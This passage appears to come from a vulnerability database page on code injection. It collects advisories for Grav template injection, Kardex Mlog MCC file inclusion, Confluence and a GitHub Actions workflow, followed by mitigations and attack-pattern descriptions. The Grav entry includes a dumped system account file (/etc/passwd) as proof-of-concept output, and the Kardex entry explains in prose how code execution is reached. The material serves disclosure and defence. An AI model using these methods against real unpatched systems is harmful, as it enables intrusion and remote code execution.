_distnote:*:241:241:DistNote:/var/empty:/usr/bin/false _nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _krbfast:*:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _xserverdocs:*:251:251:macOS Server Documents Service:/var/empty:/usr/bin/false _wwwproxy:*:252:252:WWW Proxy:/var/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/ma:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _ctkd:*:259:259:ctkd Account:/var/empty:/usr/bin/false _applepay:*:260:260:applepay Account:/var/db/applepay:/usr/bin/false _hidd:*:261:261:HID Service User:/var/db/hidd:/usr/bin/false _cmiodalassistants:*:262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _nearbyd:*:268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _appinstalld:*:273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false _installcoordinationd:*:274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false _demod:*:275:275:Demo Daemon:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/db/coreml:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _biome:*:289:289:Biome:/var/db/biome:/usr/bin/false _backgroundassets:*:291:291:Background Assets Service:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false\n```\n\n#### PoC Video\n- [PoC Video](https://drive.google.com/file/d/1wsmv7abdGc8WdYLNPPC5GrFcybhCORf2/view?usp=sharing)\n\n### Impact\nRemote Command Execution (RCE) is possible.\n\n### Occurrences\n- https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174\n\n### References\n- [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)\n- [HackTricks: SSTI (Server Side Template Injection)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php)\n",
  "id": "GHSA-f9jf-4cp4-4fq5",
  "modified": "2023-06-16T19:35:56Z",
  "published": "2023-06-16T19:35:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f9jf-4cp4-4fq5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34251"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Server Side Template Injection (SSTI) vulnerability"
}

GHSA-F9JV-W5V2-F33C

Vulnerability from github – Published: 2023-02-15 21:30 – Updated: 2023-02-24 18:30
VLAI
Details

Kardex Mlog MCC 5.7.12+0-a203c2a213-master allows remote code execution. It spawns a web interface listening on port 8088. A user-controllable path is handed to a path-concatenation method (Path.Combine from .NET) without proper sanitisation. This yields the possibility of including local files, as well as remote files on SMB shares. If one provides a file with the extension .t4, it is rendered with the .NET templating engine mono/t4, which can execute code.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-22855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-15T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Kardex Mlog MCC 5.7.12+0-a203c2a213-master allows remote code execution. It spawns a web interface listening on port 8088. A user-controllable path is handed to a path-concatenation method (Path.Combine from .NET) without proper sanitisation. This yields the possibility of including local files, as well as remote files on SMB shares. If one provides a file with the extension .t4, it is rendered with the .NET templating engine mono/t4, which can execute code.",
  "id": "GHSA-f9jv-w5v2-f33c",
  "modified": "2023-02-24T18:30:26Z",
  "published": "2023-02-15T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22855"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/CVE-2023-22855/blob/main/advisory/advisory.md"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51239"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/171046/Kardex-Mlog-MCC-5.7.12-0-a203c2a213-master-File-Inclusion-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/171689/Kardex-Mlog-MCC-5.7.12-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Feb/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9MV-753F-HVX4

Vulnerability from github – Published: 2024-01-16 06:30 – Updated: 2024-01-16 06:30
VLAI
Details

This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center.

This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction.

Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release

See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]).

This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program

Severity
7.2 (High)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-22526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T05:15:07Z",
    "severity": "HIGH"
  },
  "details": "This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center.\n\nThis RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction.\n\nAtlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\n Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release\n Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release\n Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release\n\nSee the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]).\n\nThis vulnerability was discovered by m1sn0w and reported via our Bug Bounty program",
  "id": "GHSA-f9mv-753f-hvx4",
  "modified": "2024-01-16T06:30:31Z",
  "published": "2024-01-16T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22526"
    },
    {
      "type": "WEB",
      "url": "https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CONFSERVER-93516"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9QJ-7GH3-MHJ4

Vulnerability from github – Published: 2022-10-19 18:54 – Updated: 2022-10-25 20:30
VLAI
Summary
run-terraform allows for RCE via terraform plan
Details

Impact

What kind of vulnerability is it? Who is impacted?
All users of the run-terraform reusable workflow from the kartverket/github-workflows repo are affected. A malicious actor could potentially send a PR with a malicious payload leading to execution of arbitrary JavaScript code in the context of the workflow.

Patches

Has the problem been patched? What versions should users upgrade to?
Upgrade to at least 2.7.5 to resolve the issue.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?
Until you are able to upgrade, make sure to review any PRs from exernal users for malicious payloads before allowing them to trigger a build.

For more information

If you have any questions or comments about this advisory: * Open an issue in kartverket/github-workflows

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "kartverket/github-workflows"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-19T18:54:28Z",
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_  \nAll users of the `run-terraform` reusable workflow from the kartverket/github-workflows repo are affected. A malicious actor could potentially send a PR with a malicious payload leading to execution of arbitrary JavaScript code in the context of the workflow.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_  \nUpgrade to at least 2.7.5 to resolve the issue.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_  \nUntil you are able to upgrade, make sure to review any PRs from exernal users for malicious payloads before allowing them to trigger a build.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [kartverket/github-workflows](https://github.com/kartverket/github-workflows)\n",
  "id": "GHSA-f9qj-7gh3-mhj4",
  "modified": "2022-10-25T20:30:47Z",
  "published": "2022-10-19T18:54:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kartverket/github-workflows/security/advisories/GHSA-f9qj-7gh3-mhj4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39326"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kartverket/github-workflows/pull/19"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kartverket/github-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kartverket/github-workflows/releases/tag/v2.7.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "run-terraform allows for RCE via terraform plan"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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